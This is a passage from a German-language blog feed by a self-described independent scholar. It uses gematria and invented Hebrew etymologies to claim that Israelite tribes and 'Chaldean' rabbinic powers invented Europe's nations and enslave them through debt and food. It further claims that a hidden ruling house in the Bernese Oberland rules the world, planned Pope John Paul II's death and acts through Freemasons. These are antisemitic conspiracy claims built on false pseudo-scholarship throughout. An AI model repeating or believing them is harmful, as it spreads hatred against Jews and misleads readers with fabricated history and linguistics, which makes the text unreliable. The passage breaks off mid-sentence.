einer zehnspaltigen Tabelle [Larsen 60] sollen hier nur die betreffenden Stämme
und ihre Zuordnung zu den europäischen Nationen extrahiert werden:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><span>Ephraim – Frankreich<o:p /></span></li><li class="MsoNormal"><span>Manasse – England<o:p /></span></li><li class="MsoNormal"><span>Zebulon – Skandinavien<o:p /></span></li><li class="MsoNormal"><span>Issacher – Holland-Belgien<o:p /></span></li><li class="MsoNormal"><strong><u><span>Juda</span></u></strong><span> – <strong><u>Deutschland</u></strong><o:p /></span></li><li class="MsoNormal"><span>Naphtali – Türkei<o:p /></span></li><li class="MsoNormal"><span>Ascher – Griechenland<o:p /></span></li><li class="MsoNormal"><span>Dan – Österreich-Ungarn<o:p /></span></li><li class="MsoNormal"><span>Reuben – Spanien-Portugal<o:p /></span></li><li class="MsoNormal"><span>Simeon-Levi – <strong><u>Schweiz</u></strong></span></li><li class="MsoNormal">Gad - Russland&nbsp;</li><li class="MsoNormal"><strong><u><span>Benjamin</span></u></strong><span> – Italien<o:p /></span></li></ul>

<p class="MsoNormal"><span>Bemerkenswert aus
heutiger Sicht ist die Zuordnung von Russland und der Türkei zu Europa. Die
aufgeführten Stämme entsprechen denen, die in der Johannes-Offenbarung genannt
werden, wobei die verschollenen zehn Stämme Israels erst „am Ende der Zeiten“
wieder auftreten sollen. Bekanntlich bilden Juda und Benjamin zusammen das
„Reich Juda“, die zehn anderen Stämme dagegen das „Reich Israel“. Nach meiner
Überzeugung muss jedoch Benjamin mit der Schweiz verbunden werden, so dass hier
überraschender Weise <strong>„Deutschland-Schweiz“</strong>
als das <strong>„Reich Juda“</strong> zum Vorschein
kommt, allerdings unter dem unerwarteten Primat des Benjamin, der gemäss den
Ergebnissen meiner Forschungsarbeiten nicht das Judentum, sondern das
Rabbinertum und die dahinter stehenden Kräfte repräsentiert.<o:p /></span></p>

<p class="MsoNormal"><span>Wann und wie wurde
„Europa“ von diesen Stämmen Jakobs erobert? Hierzu heisst es:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><em><span>„Die
     Ausbreitung der Griechen über die Küsten des Mittelmeeres und des
     Schwarzen Meeres, die sich von der Mitte des 8. Jahrhunderts bis in die
     Mitte des 6. Jahrhunderts vollzogen hat, gehört zu den glänzendsten
     Kapiteln der Kolonisationsgeschichte der Welt überhaupt.“ </span></em><span>Ulrich Wilcken, Griechische Geschichte,
     München 1951, Seite 96 [Lissner 73].<o:p /></span></li><li class="MsoNormal"><em><span>„Unter
     den Griechen waren die Ionier der genialste Stamm … Als Ionier
     betrachteten sich die Bewohner von zwölf kleinasiatischen Städten … Die
     Ionier schenkten dem Abendland Masse, Gewichte, Kalender, Geometrie,
     Astronomie, die Münze, die Begriffe ‚Theorie’ und ‚Historie’. Auch über
     die Karawanenstrassen Asiens gewannen die Ionier immer wieder neue Ideen,
     vor allem viele religiöse Vorstellungen des Orients“ </span></em><span>[Lissner 112f.].<o:p /></span></li></ul>

<p class="MsoNormal"><span>Bei den „Ioniern“ handelt
es sich gemäss meinen Forschungsergebnissen um die Chaldäer, von denen es in
Habakuk 1,7 heisst: <em>„Ein furchtbares und
schreckliches Volk, das selbst sein Recht und seinen Rang bestimmt.“ </em>[Einheitsübersetzung].
Das gottlose Recht, das sie selbst bestimmen, erklärt auch ihre nähere
Herkunft: <em>„Der babylonische Talmud ist
die einzige massgebende Rechtsquelle“ </em>[Fromer 6]. Neben den Begriffen
„Theorie“ und „Historie“ werden sie auch den Begriff „Europa“ geprägt haben,
denn die hebräische Schreibweise AJRWPH bedeutet <em>„nicht heilbar“</em>. Und mit der „Münze“, die sie dem Abendland
„schenkten“, kamen auch die Idee der verzinsbaren Schulden und damit ein
„elegantes“ Konzept, wie man ein Volk unsichtbar enteignen und versklaven
konnte.<o:p /></span></p>

<p class="MsoNormal"><span>Unter welchen Namen sind
diese 12 Stämme in Europa aufgetreten? Ein Werk mit dem Titel „Die grossen
Dynastien“ behandelt die Herrscherfamilien in folgender Reihenfolge: <em>„Die Kapetinger – Die Hohenstaufen – Die
Plantagenet – Die Habsburger – Die Valois – Die Stuart – Die Tudor – Die
Bourbonen in Frankreich – Die Romanow – Die Braganza – Die Bourbonen in Spanien
– Die Hohenzollern – Das Haus Savoyen – Das Haus Hannover-Windsor – Die
Bourbonen in Neapel – Die Bonaparte – Die Wittelsbacher“</em> [Gajic]. Fasst man
die drei Bourbonen zusammen und streicht „die Bonaparte“, reduzieren sich die
17 Posten bereits auf nur noch 14 Familien. Eine Kürzung auf 12 würde eine
vertiefte Beschäftigung mit der Thematik erforderlich machen. <o:p /></span></p>

<p class="MsoNormal"><span>Als „typisch“ mag die
„Installation“ der erstgenannten Dynastie der Kapetinger sein. Hugo Capet
(941-996) wurde 987 zum König von Frankreich gewählt, doch als Wähler
zugelassen waren nur <em>„die Grossen, die Landbesitzer
und Halter von Leibeigenen, also die Träger der</em> <em>Macht“</em> [Gajic 7]. Doch eine Grundfrage blieb bis heute ungeklärt: <em>„Warum gab man dem Urenkel Roberts des
Tapferen den Beinamen Capet? Kein Text gibt darüber definitiv Auskunft, doch
man vermutet, dass er von einem Kleidungsstück herrührt, der Kappe“ </em>[Gajic
12]. So ist es: Das <em>hebräische</em> Wort
„kippa“ wird KPH geschrieben und in bestimmten Fällen auch mit der Endung KPTh,
was sich mühelos als „Capet“ vokalisieren und aussprechen lässt. Soweit in Hinweis
auf die hier verborgenen „Ionier“. Doch das <em>aramäische</em>
Wort KPH führt zur hebräischen Übersetzung KPP AWThH [Melamed 181], was sich
übersetzen lässt mit <em>„jene beugen,
krümmen“</em>. Mit „jene“ dürfte hier das Volk gemeint sein. Wie wurde dieses
gebeugt und gekrümmt? Ein anderes <em>aramäisches</em>
Wort, KJPH mit der Aussprache „képhah“ (= der aramäische Name für „Petrus“, der
Fels), wird ins Hebräische übersetzt mit MChLTh HABYBWYWTh AW MChLTh HNPJLH
[Melamed 177] und bedeutet wörtlich <em>„die</em>
<em>Krankheit der Pocken oder die Krankheit
der Epilepsie“</em>. Das Wort ABYBWYWTh kommt bereits im Alten Testament vor (Ex
9,9f.) und bedeutet nicht nur „Blattern“, sondern auch „Geschwüre“ überhaupt
[Gesenius 7]. Doch vermutlich sind beide Namen nur Metaphern für die ganz
allgemeine Aussage <em>„krank an Seele und
Geist“</em>. Das geht auch aus der Wurzel BYBY für die erste Krankheit hervor:
Das lässt sich <strong>„Baby“</strong> aussprechen
und besagt, dass bereits schon der Säugling von der allgemeinen sündigen
„Erbkrankheit“ des Volkes befallen und zudem und bis zum Tode überhaupt das
Eigentum von „Babylon“ ist. <o:p /></span></p>

<p class="MsoNormal"><em><span>So</span></em><span>
wurden auch die „Deutschen“ erfunden und mit ihnen deren behauptete
Vorgeschichte, die der „Germanen“, damit das Wirkliche überdeckt wird wie in
der Schweiz vom Wilhelm Tell und dem Rütlischwur der drei Eidgenossen. Damit
diese „Völker“ sich „selbst entdecken“ könnten, müssten erst einmal die
„Überlagerer“ das Feld räumen und all ihre kulturellen „Geschenke“ mitnehmen.
Vermutlich aber ist dieser Prozess ohnehin schon im Gange und der
SPIEGEL-Beitrag kann aus diesem Grunde als eine weitere Verhöhnung der
Ahnungslosen angesehen werden. <o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><em><span>Dirk
     Schröder, unabhängiger Privatgelehrter, CH-2502 Biel</span></em></li></ul><p>NACHTRAG vom 3.2.07: Zu Anfang wird aus der &quot;Geheimen Geschichte der Mongolen&quot; ein gewisser &quot;Bodoncar&quot; erwähnt, der vorschlägt, &quot;ein Volk am Tünggeli-Bach&quot; zu rauben. Der Name &quot;Bodoncar&quot; muss nicht unbedingt &quot;mongolisch&quot; sein, denn er lässt sich unschwer mit BW-DWN-TsR hebräisieren, die sieben Konsonanten haben die Wertsumme 358 und bedeuten &quot;In ihm herrscht der Feind&quot;. Welcher Feind gemeint ist, verrät uns die chaldäische Kabbala, denn zum Wert 358 existiert das hebräische Wort NChSh &quot;nachasch&quot; für die Schlange im Paradies. Was damit wiederum gemeint ist, verrät uns die &quot;Geheime Geschichte&quot; selbst, denn die fünf, die das Volk überfallen und versklaven, wurden &quot;mit Galle geboren&quot; [Taube 25]. Und das Volk am herzigen &quot;Tünggeli-Bach&quot;? Das ist ebenfalls reines Hebräisch: Th-YNG-GJL-K hat die Wertsumme 586 und bedeutet &quot;Dein Wohlleben in deiner Generation&quot;. Mit dem &quot;Bach&quot; ist der biblische &quot;Bach der Vorzeit&quot; gemeint, als die Menschen noch &quot;aerob&quot; lebten und in Harmonie mit der sie umgebenden Natur. <em>Gematria</em>: Zum Wert 586 existiert der hebräische Name JRWShLM mit der Aussprache &quot;Jerusalem&quot; - das himmlische, versteht sich. Aus all dem wird sichtbar, dass die babylonischen Schriftgelehrten nicht nur die Geschichte der Mongolen erfunden haben, sondern auch die der anderen &quot;Völker&quot;, jeweils ganz nach Belieben der Herrschenden.<br /></p>

<p class="MsoNormal"><font size="1"><span style="font-size: 8pt;">LITERATURVERZEICHNIS:
</span><strong><em><span lang="DE-CH" style="font-size: 8pt;">Einheitsübersetzung</span></em></strong></font><span lang="DE-CH" style="font-size: 8pt;"><font size="1">, „Die Bibel. Altes und Neues Testament“,
Stemberger, Günter, und Prager, Mirjam, Hrsg., Augsburg 1987 – <strong><em><span>Fromer</span></em></strong>, Jakob, (Übersetzung und
Kommentar), „Der babylonische Talmud“, Reprint der Ausgabe von 1924, 2.
Auflage, Wiesbaden 1988 – <strong><em><span>Gajic</span></em></strong>,
Helmut (Redaktion), „Die grossen Dynastien“, Erlangen 1986 – <strong><em><span>Gesenius</span></em></strong>, Wilhelm, „Hebräisches und
aramäisches Handwörterbuch über das Alte Testament“, unveränderter Neudruck der
17. Auflage von 1915, Berlin-Göttingen-Stuttgart 1992 – <strong><em>Larsen</em></strong>, Ludwig B., &quot;Key to the Bible and Heaven. The Mystery of the Ages Revealed&quot;, Portland, Oregon USA 1919 - <strong><em><span>Lissner</span></em></strong>, Ivar, „Wir sind das
Abendland. Gestalten, Mächte und Schicksale Europas durch 7000 Jahre“, Zürich
1966 –<strong><em><span>Taube</span></em></strong>, Manfred
(Übersetzung aus dem Mongolischen und Kommentar), „Geheime Geschichte der
Mongolen. Herkunft, Leben und Aufstieg Cinggis Qans“, München 1989; zugrunde
liegt der Bericht eines anonymen Autors aus der ersten Hälfte des 13. Jahrhunderts.</font> </span><span style="font-size: 8pt;"><o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span><o:p>&nbsp;</o:p></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=28#more-28" class="more-link">&#8211;></a>]]></content:encoded>
			<wfw:commentRss>http://www.kabbalaschule.ch/blog/?feed=rss2&amp;p=28</wfw:commentRss>
		</item>
		<item>
		<title>SCHWEIZ</title>
		<link>http://www.kabbalaschule.ch/blog/?p=25</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=25#comments</comments>
		<pubDate>Wed, 31 Jan 2007 13:29:56 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Politik]]></category>

		<guid isPermaLink="false">http://www.kabbalaschule.ch/blog/?p=25</guid>
		<description><![CDATA[



&#160;

Die hebräische Kurzformel für „Knechtschaft“ und
„Unfreiheit“

Das bekannte geflügelte Wort „Der Krieg ist nichts anderes als die
Fortsetzung der Politik mit anderen Mitteln“
ist ein ungenau zitierter Satz aus dem Werk „Vom Kriege“ des preussischen
Generals Karl von Clausewitz (1789-1831) [Büchmann 361]. Doch Clausewitz hatte
nur den militärischen Krieg im Kopf und wusste nichts vom Traktat über die
Kriegskunst des Chinesen [...]]]></description>
			<content:encoded><![CDATA[

<p align="center" class="MsoNormal" style="text-align: center;"><span lang="DE-CH"><br /></span></p>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Die hebräische Kurzformel für „Knechtschaft“ und
„Unfreiheit“<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Das bekannte geflügelte Wort <em>„Der Krieg ist nichts anderes als die
Fortsetzung der Politik mit anderen</em> <em>Mitteln“</em>
ist ein ungenau zitierter Satz aus dem Werk „Vom Kriege“ des preussischen
Generals Karl von Clausewitz (1789-1831) [Büchmann 361]. Doch Clausewitz hatte
nur den militärischen Krieg im Kopf und wusste nichts vom Traktat über die
Kriegskunst des Chinesen Sun Zi, eines Zeitgenossen des Konfuzius (551-479 v.
Chr.). Diese älteste militärtheoretische Abhandlung der Welt umfasst 36
Strategeme, die insgesamt durch lediglich 138 chinesische Schriftzeichen
beschrieben werden. Für Sun Zi <em>„steht der
militärische Sieg über den Feind in der Skala der Kriegskunst lediglich an
dritter Stelle. Den zweiten Platz weist er dem Sieg mit diplomatischen Mitteln,
den ersten Platz aber dem Sieg durch Strategeme zu.“ </em>Allerdings war <em>„der Katalog der 36 Strategeme, als Ganzes
gesehen, … bis vor wenigen Jahren … in China eine Art Geheimwissen geblieben.“ </em>[Senger
24]. Das Clausewitz-Zitat müsste also im Sinne von Sun Zi lauten: Die
Strategeme sind andere Mittel zur Fortsetzung der Politik ohne Krieg. </span></p>

<p class="MsoNormal"><span lang="DE-CH">Doch selbst Sun Zi war, wenn man so will,
mit seinen 36 Strategemen und 138 chinesischen Schriftzeichen noch ein
„Schwätzer“. Denn der wirklich Wissende reduziert alles auf ein einziges
Strategem, bei Sun Zi ist es die Nr. 5: <em>„Eine
Feuersbrunst für einen Raub ausnützen“. </em>Der Sinologe und Strategemforscher
Harro von Senger führt dieses Strategem auf den Grundgedanken zurück: <em>„Wenn sich der Feind in einem Chaos
befindet, dann bemächtige man sich seiner.“ </em>[Senger 93]. Das klingt zwar
einleuchtend, entfernt sich aber weit von der konkreteren ersten Aussage. Diese
aber besteht aus vier chinesischen Schriftzeichen, welche etwa 17 Striche
umfassen. Doch es geht noch erheblich einfacher und zudem verdeckter: Die
richtige Lösung wird auf Hebräisch </span><span dir="rtl"></span><span lang="HE" dir="rtl"><span dir="rtl"></span>-</span><span dir="ltr"></span><span lang="DE-CH"><span dir="ltr"></span>
lateinisch transkribiert – ChMTs geschrieben, mit der Wertsumme 138. An die
Stelle von 138 komplexen chinesischen Schriftzeichen treten also lediglich drei
einfache hebräische Konsonanten mit dem Wert 138. Diese bedeuten in der
Aussprache „chomets“ „Essig“, als „chamáts“ ausgesprochen „sauer werden“, als
„chiméts“ „sauer werden lassen“ und als „chaméts“ soviel wie „Sauerteig“. Doch
das letzte Wort hat noch eine übergeordnete Bedeutung, denn es ist auch der <em>„Sammelbegriff für alle Lebensmittel, die
nicht für Pessach geeignet sind“</em> [Langenscheidt TWB h 116]. Das jüdische
Pessachfest aber ist gemäss jüdische Tradition das „Fest der Freiheit“, weil
man die Knechtschaft, das Sklavenhaus Ägypten, verlassen hat. Das Wort ChMTs
„chaméts“ ist somit ein Code für ein Strategem der Freiheitsberaubung,
Unterdrückung und Versklavung durch entsprechende Lebensmittel. Dem aber kommt
man nur auf die Spur, wenn man die hebräische Sprache und zudem die chaldäische
Kabbala beherrscht. <o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">„Eine Feuersbrunst für
einen Raub ausnutzen“<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Das
Bühnenstück „Biedermann und die Brandstifter“ von Max Frisch wurde 1958 im
Schauspielhaus Zürich uraufgeführt. Der Schweizer Schriftsteller bezeichnet es
als „ein Lehrstück ohne Lehre“, obwohl er einem der beiden Brandstifter die
zynischen Worte in den Mund legt: <em>„Scherz
ist die drittbeste Tarnung. Die zweitbeste Sentimentalität … Aber die beste und
sicherste Tarnung ist immer noch die blanke und nackte Wahrheit.
Komischerweise. Die glaubt niemand.“ </em>[Radler 219]. Unter dem sattsam
bekannten Titel „Wehret den Anfängen!“ wurde in der NZZ vom 29.1.2007 dieses
Frisch-Stück besprochen, frisch und 49 Jahre später aufgeführt im
Schauspielhaus Zürich. Zitiert wird aus dem Stück die Sequenz <em>„Der</em> <em>Blödsinn,
/ Der nimmerzulöschende einst“</em>, der als Ursache für das entstehende Chaos,
den Hausbrand und den damit verbundenen Tod des Biedermanns angesehen wird.
NZZ-Kommentar: <em>„Frisch fordert dazu auf,
den Anfängen zu wehren. Aber welchen?“ </em><o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH">Max Frisch war
ein Helfershelfer und es war nicht seine Sache, diese Frage zu beantworten und
das Publikum in Lebensfragen richtig zu schulen, im Gegenteil: Der Name Max
Frisch lässt sich hebräisieren mit MCh PRSh und bedeutet <em>„das Gehirn zerstreuen“</em>. Im Hebräisch-Wörterbuch findet man für
„Biedermann“ die Übersetzung „adam jaschar“ ADM JShR, was aber auch, aus dem
Hebräischen zurückübersetzt „der gerade, aufrechte, anständige, ehrliche
Mensch“ bedeuten kann. Unter dem Stichwort „Brandstifter“ (Singular) findet man
das hebräische Wort „mátsit“ MTsJTh, doch schlägt man dieses Wort im
hebräischen Teil nach, steht dafür die Übersetzung „Feuerzeug“. Übersetzt man
das Frisch-Stück also ins Hebräische mit ADM JChR W-MTsJTh „Adam jaschar
we-mátsit“ und führt es in Tel Aviv auf, so könnte man es dort deuten mit „Der
anständige Mann und das Feuerzeug“. Die elf Konsonanten dieses Titels aber
ergeben kabbalistisch bewertet fünf Gesamtwerte:<o:p /></span></p>

<ul type="disc" style="margin-top: 0mm;"><li class="MsoNormal"><span lang="DE-CH">1661 ist der Sofitwert, der sich
     in 11 x 151 gliedern lässt. Zum Wert 151 existieren die hebräischen
     Begriffe QMAJ für <strong><em>„ursprünglich“</em></strong> und<span>&nbsp; </span>NATsJ für <strong><em>„Nazi“</em></strong>.<o:p /></span></li><li class="MsoNormal"><span lang="DE-CH">1101 ist der Äussere Wert, zu ihm
     existiert das hebräische Verb ShAP für <strong><em>„nach Luft</em></strong> <strong><em>schnappen,
     lechzen; zertreten, zermalmen“</em></strong>.<o:p /></span></li><li class="MsoNormal"><span lang="DE-CH">1036 ist der Verborgene Wert,
     hierzu existiert ShWShLTh für <strong><em>„Herrscherhaus, -geschlecht“</em></strong>
     sowie PRShNWTh für <strong><em>„Exegese“</em></strong>.<o:p /></span></li><li class="MsoNormal"><span lang="DE-CH">2137 ist der Totale Wert, <strong><em>Papst
     Johannes Paul II. starb</em></strong> am 2.4.2005 exakt um <strong><em>21.37</em></strong> h, wie die
     Medien nicht müde wurden zu betonen, auch noch ein Jahr später.<o:p /></span></li><li class="MsoNormal"><span lang="DE-CH">4808 ist der Grosse Wert = 4 x
     1202 = ShLShLTh HQBLH <strong><em>„die Kette der Kabbala“</em></strong>;
     NJThN-LW MYShR MKL <strong><em>„Und er gab ihm den Zehnten von allem“</em></strong>
     (Gn 14,20), ShLWSh NQWDWTh <strong><em>„die drei Punkte“</em></strong>
     (Freimaurerzeichen) sowie = 8 x 601 = ThAR <strong><em>„die Konturen zeichnen“</em></strong>.<o:p /></span></li></ul>

<p class="MsoNormal"><span lang="DE-CH">Interessant
ist, dass hier der „Nazi“ aufscheint, denn die <em>„Geschichte des Herrn Biedermann ist als parabelhafte Darstellung der
Machtergreifung Hitlers gedeutet worden“ </em>[Radler 220]. Die Seqenz <em>„nach Luft schnappen“</em> ist eine Metapher
für das gottlose anaerobe Leben und ein Hinweis auf das „Anzünden der Seele“ („Feuersbrunst“)
durch „Brandstifter“. Ein offenbar verborgenes „Herrscherhaus“, dem man nur
mittels „Exegese“ (wohl „Kabbala“) beikommen kann, dürfte sowohl für die
Brandstiftung als auch für den minutiös und kabbalistisch geplanten Tod des
Papstes JPII verantwortlich sein. Die Kontinuität des Herrscherhauses wird
durch die „Kette der Kabbala“ ebenso gesichert wie durch „den Zehnten von
allem“ (= „Raub“), der regelmässig herein kommt, weil es dieses Haus ist, das
für alles Kommende von Bedeutung „die Konturen“ plant und vorgibt, was dann
über Agenten und Mittelsmänner wie die Freimaurer in die Tat umgesetzt wird.
Soweit eine erste Deutung. Da werden hinter Titel und Inhalt von Max Frischs
Drama somit Insider vermutbar und Frisch ist ihnen, Ruhm, Ehre und Mammon
zuliebe, wie „Biedermann“ gefolgt. Oder er konnte nicht anders, weil er selbst
einer von ihnen war und Ruhm, Ehre und Mammon ihm dann ohnehin zukamen. Wo ist
dieses ominöse „Herrscherhaus“ zu finden, wo hat es sich meisterhaft versteckt?<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Die Schweiz als Zion und
Gomorrah?<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Am 30.7.1997
erhielt ich von einem Abonnenten die 280 Seiten umfassende Kopie eines englischsprachigen
Buches „Key to the Bible and Heaven“ von Ludwig B. Larsen, das 1919 in
Portland, Oregon, publiziert worden war. </span><span lang="EN-GB">Darin heisst es, <em>„students of the Bible have</em> <em>figured out that the time to which the Bible
refers is <strong>the present time</strong>“</em>
[Larsen 21] und es wird eine gewaltige Verschiebung beschrieben: <em>“The 2300-year period as spoken of in the
Bible is the 32 degrees from Palestine to the Alps </em>[125] &#8230; <em>The place where <strong>Moses</strong> talks with <strong>God</strong> was
in the <strong>Alps</strong>, <strong>which is the house of the Lord</strong>” </em>[91]. Dann folgt Unerwartetes: <em>“Zion is the same as Sodom and Gomorrah we
know what this means &#8230; <strong>Zion as
Gomorrah is</strong> &#8230; <strong>Switzerland</strong> &#8230;
It is <strong>a mountain and a valley</strong>” </em>[138].
Dann werden weitere Orientierungspunkte markiert: <em>“The Mount of Sinai is the holy mountains &#8230; The holy mountains for
Europe are in Switzerland and represent the house of <strong>Aquarius</strong> which is the home or mansion for the planet <strong>Uranus</strong>” </em>[94/233]. Schliesslich wird
die Endzeit beschrieben: <em>“The Bible
describes that at the end of the Christian age &#8230; the earth is to be destroyed
&#8230; When Uranus is in the house of Aquarius, Saturn must be in Leo, in order to
be in opposition to Uranus an as this is at the end of the age, <strong>Saturn kills Uranus</strong>” </em>[234]. </span><span>Doch es scheint eine
Überlebenschance zu geben, letztlich geht es „nur“ um das Ende des Zeitalters
des Christentums und um die damit verbundene Kultur: <em>“Peace will be restored in Europe when the international convention is
held in Switzerland <strong>after the revolution</strong>
has taken place” </em>[236]. <o:p /></span></p>

<p class="MsoNormal"><span><span>&nbsp;</span>„Switzerland“ als Sodom und Gomorrah, als Zion
schlechthin? Der nationale Begriff ist hier wohl zu weit gefasst, schliesslich
ist von einem Gebirge und einem Tal die Rede. Interessant ist die Aussage
„Saturn kills Uranus“, denn aufgrund meiner Forschungen hat sich ergeben, dass „Saturn“
in der Matrix der Seele auf der Atmungs-Ebene in dem bis heute „verbotenen“
Feld für das „freie Radikal“ steht, für das überaus reaktive Sauerstoffatom,
das die reine kosmische Lebenskraft darstellt und der Menschheit die Erlösung
bringt. „Uranus“ dagegen verkörpert auf der Nahrungsebene nicht nur das Eiweiss
(Proteine) und damit auch die schädlichen Wirkstoffe in den Nahrungsmitteln,
sondern ganz speziell auch noch den Hefepilz, ein einzelliges Lebewesen, das
uns erobert und unseren Dickdarm kolonialisiert. Zur Konstellation <em>„when Uranus is in the house of Aquarius,
Saturn must be in Leo“</em> heisst es in der NZZ vom 30.1.2007 unter dem Titel
“Der Sternenhimmel im Monat Februar 2007” überraschender Weise: <em>„In der Nacht vom 10. auf den 11. kommt der
rückläufige <strong>Saturn</strong> im Sternbild <strong>Löwe</strong> in Opposition zur Sonne und steht
dann in bester Beobachtungslage … Wenig Beachtung wird der <strong>Uranus</strong> finden. Dieser zieht rechtsläufig durch den <strong>Wassermann</strong> und sinkt am 1. um 20.08 Uhr
… in die Unterwelt.“ </em>Die Voraussetzungen für die endzeitliche Prophezeiung
„Saturn kills Uranus“ sind also im Februar 2007 gegeben! Welche anderen
Bedingungen müssen noch erfüllt sein? Muss herausgefunden werden, wo sich „Berg
und Tal“ im Schweizerland befinden, das geheime Zentrum, von wo aus „Zion“ die
Welt beherrscht?<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Die unbekannte
„Insel“ in der Innerschweiz<o:p /></span></strong></p>

<p class="MsoNormal"><span>Ausgelöst
durch die nun vor Gericht wiederbelebte Swissair-Affaire und meine
Beschäftigung damit hatte ich aus dem ins Hebräische übersetzten Namen für
„Swissair“ ein Schema für die Schweiz entwickelt, das in die Matrix der Seele
eingepasst wurde. Als dieses komplett fertig vorlag, trug ich, einer Eingebung
folgend und zunächst spielerisch, noch von Hand die Namen <strong>„Eiger“</strong>, <strong>„Mönch“</strong> und <strong>„Jungfrau“</strong> für das berühmte
„Dreigestirn“ im Berner Oberland ein, dazu dann noch das <strong>„Jungfraujoch“</strong> mit der <strong>„Sphinx“</strong>
als dem <strong>„Top of Europe“</strong> (= Europas
höchstgelegene Bahnstation) und dazu noch die Hebräisierung dieser Namen. Die
Aussagen waren so verblüffend, dass ich sie auf eine weitere Matrix der Seele
übertrug und dann Schritt für Schritt überlegte, welche Orte in die übrigen
sechs Felder einzutragen sind. Die Schweizerkarte für dieses Gebietes wurde
intensiv studiert und relativ rasch waren die Orte gefunden – und damit wohl
auch das bisher unbekannte politische <strong>„Zentrum
der Welt“</strong>, das ich zu meiner grossen Verblüffung hier durch die
kabbalistischen Offenbarungen erkannte. Denn die geographischen Orte waren nun
keine Berge mehr, sondern kleine und eher unbedeutende Schweizer Ortschaften,
denen man die Bedeutung „Zentrum der Welt“ wohl kaum beimessen würde.
Überprüfen Sie die Ergebnisse selbst aufgrund einer Landkarte und überlegen
Sie, ob es eine andere naheliegende Lösung dazu gibt: Zunächst kommen ganz
zentral <span>&nbsp;</span><strong>Lauterbrunnen</strong> und <strong>Grindelwald</strong>
ins Spiel und dann noch <strong>Thun</strong>, <strong>Gunten</strong>, <strong>Interlaken</strong> und <strong>Spiez</strong> um
den Thuner See herum. Dieser relativ kleine Bereich, „Berg und Tal“, lässt
sich, wenn auch wohl nicht amtlich, als „Zentrales Berner Oberland“ bezeichnen
– was spitzfindig ausgedrückt besagt, dass sich hier, oberhalb der
Bundeshauptstadt Bern, die eigentliche „Zentralregierung“ befindet.<o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Der
untergegangene „Mystery Park“ des Erich von Däniken<o:p /></span></strong></p>

<p class="MsoNormal"><span>Die
Verbindungsstelle zwischen „Berg“ und „Tal“ im obigen Schema ist Interlaken.
Dort aber, auf einem ehemaligen Militärflugplatz, hatte der höchst erfolgreiche
Science-fiction-Autor Erich von Däniken („Zurück in die Zukunft“) im Mai 2003
seinen seit jeher herbei<span>&nbsp; </span>gesehnten „Mystery
Park“ eröffnen können, dies mit Publikumsgeldern und Bankkrediten in Höhe von
stolzen 86 Mio. Franken – wie ich aus gut informierter Quelle erfahren habe.
Davon hat sich der kleine Grosse wohl zunächst die Mittel für den Bau seiner
gigantischen 28-Zimmer-Villa Nähe Solothurn sowie für einen angenehmen
Lebensstil auf höherem Niveau und einen gesicherten Lebensabend abgezweigt. Der
immer noch gewaltige Rest floss in die Gestaltung eines „Erlebnisparks“, der
sich <em>„der Präsentation ‚unerklärlicher
und doch real</em> <em>fassbarer’ Welträtsel
widmete“</em> – und das zu Eintrittspreisen von 48 Franken pro Person, die einem
Familienvater die Haare vom Kopf frassen, wenn man die An- und Rückreise, die
Verpflegung, den Kauf von Souvenirs und anderem Schnickschnack und allfälligen
Hotelaufenthalt noch mit einbezieht. Von Dänikens „Lebenswerk“ war also eine
einzige Provokation, nicht nur wegen der unverschämten Preise und seinem damit
finanzierten Lebenswandel, sondern in erster Linie wegen der Tatsache, dass nur
„unerklärliche Welträtsel“ präsentiert und keinerlei Antworten dazu geliefert
wurden. <o:p /></span></p>

<p align="center" class="MsoNormal" style="text-align: center;"><strong><span>Die zentrale
Frage nach den „Ausserirdischen“<o:p /></span></strong></p>

<p class="MsoNormal"><span>Nach
dem AUS für diese gewaltige Geldbeschaffungs- und Kapitalvernichtungsmaschine
(Erich von Däniken kontra Banken sowie Aktien- und Obligationenerwerber) am
19.11.2006 wurde im Internet (Wikipedia) kritisiert, von Däniken habe zwar
nicht, wie in seinen erfolgreichen Büchern, in den sieben Themengebäuden des
Mystery-Parks die Existenz von <strong>Ausserirdischen</strong>
als Erklärung für alle sonst unlösbaren Fragen präsentiert, wohl aber
Behauptungen, die indirekt genau dies suggerieren. Angeführt wird die Aussage, <em>„dass die</em> <em>Maya den Zwergplaneten Pluto exakt gekannt haben sollen“</em>
(Wikipedia). Damit aber verrät von Däniken dem Wissenden, dass er Insider ist.
Denn Pluto ist nicht nur <em>„der mächtigste
von</em> <em>allen Planeten“</em> [Goodman 225]
und wurde – wohl deshalb – unlängst von der Gilde der Astronomen aus der Reihe der „Planeten“ (= erloschene Sterne, griechisch: Irrwandler) entfernt,
sondern er ist, wie meine Forschungsarbeiten ergeben haben, der Inbegriff der
Göttlichkeit selbst, nämlich, in der Matrix der Seele, der heilige Nährboden,
Jahwe, Allah.<o:p /></span></p>

<p class="MsoNormal"><span>Wenn
aber Erich von Däniken ein Eingeweihter ist, muss es mit der von ihm seit jeher
behaupteten Existenz von „Ausserirdischen“ wohl Einiges auf sich haben. Ein
solches Wort existiert zwar nicht im Hebräisch-Wörterbuch, doch eine
sachgemässe Übersetzung lautet BNJ ADM MChWTs L-ARTs, das heisst „Menschen
ausserhalb der Erde“. Das sind 14 Konsonanten mit der Wertsumme 572. Gematria:
Zum Wert 572 existieren die hebräischen Begriffe YLJWNWTh für „Supremat“ (=
